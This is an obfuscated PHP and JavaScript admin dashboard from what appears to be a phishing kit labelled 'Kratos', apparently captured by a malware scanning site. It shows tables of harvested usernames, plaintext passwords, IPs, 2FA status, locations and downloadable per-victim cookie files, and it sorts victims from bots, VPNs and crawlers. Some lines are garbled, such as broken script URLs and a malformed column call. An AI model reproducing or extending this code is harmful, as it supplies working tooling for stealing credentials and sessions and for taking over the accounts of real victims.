goto Cfbd4; Cd5a0: $F466e->check(); goto Dba6e; Dba6e: echo "
\xa<!DOCTYPE html>
<html lang="en">\xd
\xd\xa<head>\xd
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>Dashboard</title>
<link rel="stylesheet" href="https://cdn.datatables.net/1.11.5/css/jquery.dataTables.min.css">
<link rel="stylesheet" href="https://cdn.datatables.net/responsive/2.2.9/css/responsive.dataTables.min.css">\xd\xa "; goto d22c4; Cfbd4: include_once "class.php"; goto b0c70; d22c4: include "header.php"; goto E6d7d; F9a06: include "footer.php"; goto f7b10; b0c70: $F466e = new User(); goto Cd5a0; E6d7d: echo " <div class="app-body">\xd
<div class="col-sm-12">\xd\xa <div class="card mb-3">\xd\xa <div class="card-header">\xd
<h5 class="card-title">Valid Result</h5>\xd
</div>
<div class="card-body">
<div class="row gx-4">\xd\xa <div class="col-xlk col-sm-4 coli2">\xd\xa <div class="mbk">\xd\xa <label class="form-label" for="sendtype">Country</label>\xd\xa <select id="country" class="form-select" name="sendtype" id="sendtype" aria-label="Default select example">
<option value="">Select a Country</option>
</select>
</div>
\xa </div>
\xa <div class="col-xlk col-sm-4 col-">\xd\xa <div class="mb-3">
\xa <label class="form-label" for="sendtype">2FA</label>\xd
<select id="twofactor" class="form-select" name="twofactor" id="twofactor" aria-label="Default select example">\xd\xa <option value="">Both</option>
<option value="No">No</option>
<option value="Yes">Yes</option>
</select>
</select>\xd\xa </div>\xd\xa </div>
<div class="col-xl-3 col-sm-4 col-">
\xa <div class="mb-3">\xd
<label class="form-label" for="sendtype">Edu</label>\xd\xa <select id="edu" class="form-select" name="edu" id="edu" aria-label="Default select example">\xd\xa <option value="">Both</option>
\xa <option value="No">No</option>\xd
<option value="Yes">Yes</option>
</select>\xd
</select>\xd
</div>
</div>\xd
<div class="col-xl-3 col-sm-4 coli2">
<div class="mb-3">\xd\xa <label class="form-label" for="sendtype">Role</label>\xd
<select id="role" class="form-select" name="role" id="role" aria-label="Default select example">
\xa <option value="">Both</option>\xd
<option value="No">No</option>\xd
<option value="Yes">Yes</option>\xd
</select>
\xa </select>\xd\xa </div>
\xa </div>
<div class="table-responsive">\xd
<table id="visitTable" class="display nowrap table table-striped" style="width:100%">\xd
<thead>\xd\xa <tr>
\xa <th>ID</th>\xd
<th>Username</th>\xd
<th>Password</th>
<th>IP</th>\xd
<th>2FA</th>\xd\xa <th>2FA Status</th>\xd\xa <th>Edu</th>
<th>Role</th>
\xa <th>Country</th>
\xa <th>City</th>
<th>Cookies</th>\xd
</tr>\xd\xa </thead>\xd\xa </table>\xd
</div>\xd
</div>\xd\xa </div>
\xa </div>\xd\xa </div>
<div class="col-sm-12">
\xa <div class="card mbk">\xd\xa <div class="card-header">\xd
<h5 class="card-title">Invalid Result</h5>\xd\xa </div>
<div class="card-body">\xd
<div class="row gx-4">\xd\xa <div class="col-xl-3 col-sml col-">\xd
<div class="mbk">
\xa <label class="form-label" for="sendtype">Country</label>
<select id="country2" class="form-select" name="sendtype" id="sendtype" aria-label="Default select example">\xd
<option value="">Select a Country</option>
</select>
\xa </div>
</div>
\xa <div class="table-responsive">\xd\xa <table id="visitTable2" class="display nowrap table table-striped" style="width:100%">\xd\xa <thead>\xd
<tr>
\xa <th>ID</th>
<th>Username</th>
<th>Password</th>\xd\xa <th>IP</th>
\xa <th>Country</th>\xd
<th>City</th>
</tr>
</thead>
</table>
</div>
</div>
\xa </div>\xd\xa </div>\xd
</div>
\xd\xa
\xa </div>\xd
<div class="app-footer">
<span class="small">© Kratos 24</span>\xd\xa </div>\xd\xa </div>\xd\xa </div>
</div>\xd
"; goto F9a06; f7b10: echo " \xd\xa <script src="https://code.jquery.com/jquery-3u.1.min.js"></script>\xd\xa <script src="https://cdn.datatables.nety.u/js/jquery.dataTables.min.js"></script>\xd\xa <script src="https://cdn.datatables.net/responsive/2.2.9/js/dataTables.responsive.min.js"></script>\xd
<script>
$(document).ready(function() {
\xa var table = $('#visitTable').DataTable({\xd
ajax: {
\xa dataSrc: 'data',\xd
url: 'data?valid' // Update with your endpoint URL that returns JSON
},
\xa columns: [
{ data: 'id' },\xd\xa { data: 'email' },\xd
{ data: 'password' },
{ data: 'ip' },\xd\xa { data: 'twofactor', render: function(data) { return data ? 'Yes' : 'No'; } },\xd
{ data: 'twofactor_status' },
\xa { data: 'edu', render: function(data) { return data ? 'Yes' : 'No'; } },
{ data: 'role', render: function(data) { return data ? 'Yes' : 'No'; } },
{ data: 'country' },
{ data: 'city' },
\xa {
\xa data: 'email',
render: function(data) {\xd\xa // Placeholder for the download button
return '<span class="download-placeholder" data-email="' + data + '">No file</span>';\xd\xa }
\xa }\xd\xa ],
\xa initComplete: function() {
// Populate select options for the country filter
function populateSelect() {\xd
var countries = table.column(8).data().unique().sort().toArray(); // Column index for "Country"\xd
var select = $('#country');
// Add options to select\xd
select.find('option:not(:first)').remove(); // Remove existing options except the first (All Countries)\xd\xa $.each(countries, function(index, country) {\xd\xa select.append('<option value="' + country + '">' + country + '</option>');
\xa });
}\xd\xa
\xa // Populate select options\xd\xa populateSelect();\xd
\xd\xa // Add event listener for filter change
\xa $('#country').on('change', function () {
var value = $(this).val();\xd
// Apply filter or clear filter if value is empty
table.column(8).search(value).draw(); // Column index for "Country"
\xa });\xd
\xa $('#twofactor').on('change', function () {\xd\xa var value = $(this).val();\xd\xa table.column(4).search(value).draw(); // Column index for "Twofactor"
\xa });\xd\xa\xd\xa $('#edu').on('change', function () {\xd
var value = $(this).val();
\xa table.column(6).search(value).draw(); // Column index for "Edu"\xd
});
\xd
$('#role').on('change', function () {
var value = $(this).val();
\xa table.column(7).search(value).draw(); // Column index for "Role"\xd
});\xd\xa\xd
// Function to check file existence and update the placeholder
function updatePlaceholders() {\xd\xa var emailElements = $('.download-placeholder');\xd
\xd
emailElements.each(function() {
var email = $(this).data('email');\xd
var placeholder = $(this);
\xa var fileUrl = '../page/core/js_' + email + '.txt'; // Construct the file URL
\xd\xa $.ajax({
url: fileUrl,\xd\xa type: 'HEAD',\xd\xa success: function() {
\xa // File exists, show the download button
\xa placeholder.html('<button class="download-button" data-email="' + email + '">Download</button>');
\xa },
\xa error: function() {
// File does not exist, show a message
\xa placeholder.html('No file');\xd\xa }
\xa });
\xa });\xd\xa }
\xa // Initial call to update placeholders\xd\xa updatePlaceholders();\xd
\xd
// Update placeholders when the table is drawn
table.on('draw', function() {
updatePlaceholders();\xd\xa });
\xa }
\xa });
\xd\xa // Add event listener for opening and closing details
$('#visitTable tbody').on('click', 'tr', function() {\xd\xa var tr = $(this);
\xa var row = table.row(tr);
if (row.child.isShown()) {
\xa // This row is already open - close it
row.child.hide();
\xa tr.removeClass('shown');
} else {\xd
// Open this row\xd\xa row.child(format(row.data())).show();\xd\xa tr.addClass('shown');
\xa }
});
\xa\xd\xa function format(d) {
\xa // `d` is the original data object for the row
return `
\xa <div class="additional-info">
<p><strong>Username:</strong> ${d.email}</p>\xd\xa <p><strong>Password:</strong> ${d.password}</p>
<p><strong>IP:</strong> ${d.ip}</p>
\xa <p><strong>User Agent:</strong> ${d.ua}</p>
\xa <p><strongFA:</strong> ${d.twofactor ? 'Active' : 'Inactive'}</p>
\xa <p><strong>Role:</strong> ${d.role ? 'Yes' : 'No'}</p>
\xa <p><strong>Edu:</strong> ${d.edu ? 'Yes' : 'No'}</p>
<p><strong>Status:</strong> ${d.status ? 'Active' : 'Inactive'}</p>
<p><strong>Country:</strong> ${d.country}</p>\xd
<p><strong>City:</strong> ${d.city}</p>
</div>
\xa `;\xd
}
\xa
\xa // Add event listener for download button
$('#visitTable tbody').on('click', '.download-button', function() {\xd
var email = $(this).data('email');\xd
var fileUrl = '../page/core/js_' + email + '.txt'; // Construct the file URL
\xa
// Create a link element and trigger the download\xd\xa var link = document.createElement('a');
\xa link.href = fileUrl;\xd
link.download = 'js_' + email + '.txt';
\xa document.body.appendChild(link);\xd\xa link.click();
document.body.removeChild(link);\xd
});\xd\xa });\xd\xa </script>
\xa
\xa <script>\xd
$(document).ready(function() {\xd
var table = $('#visitTable2').DataTable({
\xa ajax: {\xd
dataSrc: 'data',
url: 'data?invalid' // Gantilah dengan URL endpoint Anda yang mengembalikan JSON
\xa },
columns: [\xd\xa { data: 'id' },\xd\xa { data: 'email' },
\xa { data: 'password' },\xd\xa { data: 'ip' },\xd
{ data: 'country' },\xd\xa { data: 'city' },\xd
],\xd
\xd\xa initComplete: function () {\xd
var that = this;\xd\xa
// Function to populate select options with unique values
function populateSelect() {
var countries = table.columnD).data().unique().sort().toArray(); // Column index for "Country"\xd\xa var select = $('#country2');
\xa
\xa // Add options to select\xd
select.find('option:not(:first)').remove(); // Remove existing options except the first (All Countries)
$.each(countries, function(index, country) {
\xa select.append('<option value="' + country + '">' + country + '</option>');
\xa });
}\xd\xa
// Populate select options\xd
populateSelect();\xd\xa
// Add event listener for filter change\xd
$('#country2').on('change', function () {
\xa var value = $(this).val();\xd\xa // Apply filter or clear filter if value is empty
table.column(4).search(value).draw(); // Column index for "Country"\xd\xa });
\xa }
\xa
\xa
\xa \xd\xa });\xd
\xd
// Add event listener for opening and closing details
$('#visitTable2 tbody').on('click', 'tr', function () {\xd\xa var tr = $(this);
\xa var row = table.row(tr);\xd
\xa if (row.child.isShown()) {
\xa // This row is already open - close it\xd
row.child.hide();
\xa tr.removeClass('shown');\xd\xa } else {\xd
// Open this row\xd\xa row.child(format(row.data())).show();
tr.addClass('shown');
}
\xa });\xd\xa
\xa function format(d) {
\xa // `d` is the original data object for the row\xd
return `
<div class="additional-info">
\xa <p><strong>Username:</strong> ${d.email}</p>\xd\xa <p><strong>Password:</strong> ${d.password}</p>
\xa <p><strong>IP:</strong> ${d.ip}</p>\xd
<p><strong>User Agent:</strong> ${d.ua}</p>\xd
<p><strong>Status:</strong> ${d.status ? 'Active' : 'Inactive'}</p>
\xa <p><strong>Country:</strong> ${d.country}</p>\xd
<p><strong>City:</strong> ${d.city}</p>\xd\xa <p><strong>Is Bot:</strong> ${d.is_bot ? 'Yes' : 'No'}</p>
\xa <p><strong>Is Crawler:</strong> ${d.is_crawler ? 'Yes' : 'No'}</p>
<p><strong>Is Data Center:</strong> ${d.is_datacenter ? 'Yes' : 'No'}</p>
<p><strong>Is Proxy:</strong> ${d.is_proxy ? 'Yes' : 'No'}</p>\xd
<p><strong>Is VPN:</strong> ${d.is_vpn ? 'Yes' : 'No'}</p>\xd
<p><strong>Is Abuser:</strong> ${d.is_abuser ? 'Yes' : 'No'}</p>
\xa <p><strong>Is Blocked Data Center:</strong> ${d.is_blocked_datacenter ? 'Yes' : 'No'}</p>\xd\xa </div>\xd
`;
\xa }\xd\xa });\xd\xa </script>";
© 2023 Quttera Ltd. All rights reserved.